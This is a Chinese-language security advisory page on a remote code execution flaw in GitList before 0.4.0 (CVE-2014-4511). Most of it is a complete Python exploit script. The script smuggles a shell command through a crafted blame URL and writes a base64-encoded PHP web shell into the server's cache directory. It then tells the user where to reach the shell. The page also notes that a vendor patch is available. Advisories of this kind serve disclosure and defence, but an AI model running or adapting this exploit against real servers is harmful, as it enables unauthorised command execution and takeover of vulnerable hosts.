当前位置: > Linux安全 >

GitList远程代码执行漏洞(CVE-2014-4511)

时间:2014-07-08 16:08来源:linux.it.net.cn 作者:IT网

发布日期:2014-06-30
更新日期:2014-07-02

受影响系统:
GitList GitList < 0.4.0
 GitList GitList
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 68253
 CVE(CAN) ID: CVE-2014-4511
 
GitList是用PHP编写的开源软件,是git库浏览器。
 
GitList 0.4.0之前版本在实现上存在远程代码执行漏洞,远程攻击者可利用此漏洞执行任意代码。
 
<*来源:drone
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
from commands import getoutput
 import urllib
 import sys
 from commands import getoutput
 import urllib
 import sys

 """
 Exploit Title: Gitlist <= 0.4.0 anonymous RCE
 Date: 06/20/2014
 Author: drone (@dronesec)
 Vendor Homepage: http://gitlist.org/
 Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
 Version: <= 0.4.0
 Fixed in: 0.5.0
 Tested on: Debian 7
 More information: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
 cve: CVE-2014-4511
 """

 if len(sys.argv) <= 1:
    print '%s: [url to git repo] {cache path}' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0]
    sys.exit(1)

 url = sys.argv[1]
 url = url if url[-1] != '/' else url[:-1]

 path = "/var/www/gitlist/cache"
 if len(sys.argv) > 2:
    path = sys.argv[2]

 print '[!] Using cache location %s' % path

 # payload <?system($_GET['cmd']);?>
 payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="

 # sploit; python requests does not like this URL, hence wget is used
 mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
 mpath = url+ urllib.quote(mpath)

 out = getoutput("wget %s" % mpath)
 if '500' in out:
    print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
 else:
    print '[-] Failed to drop'
    print out

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
GitList
 -------
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://gitlist.org/

(责任编辑:IT)
------分隔线----------------------------
栏目列表
推荐内容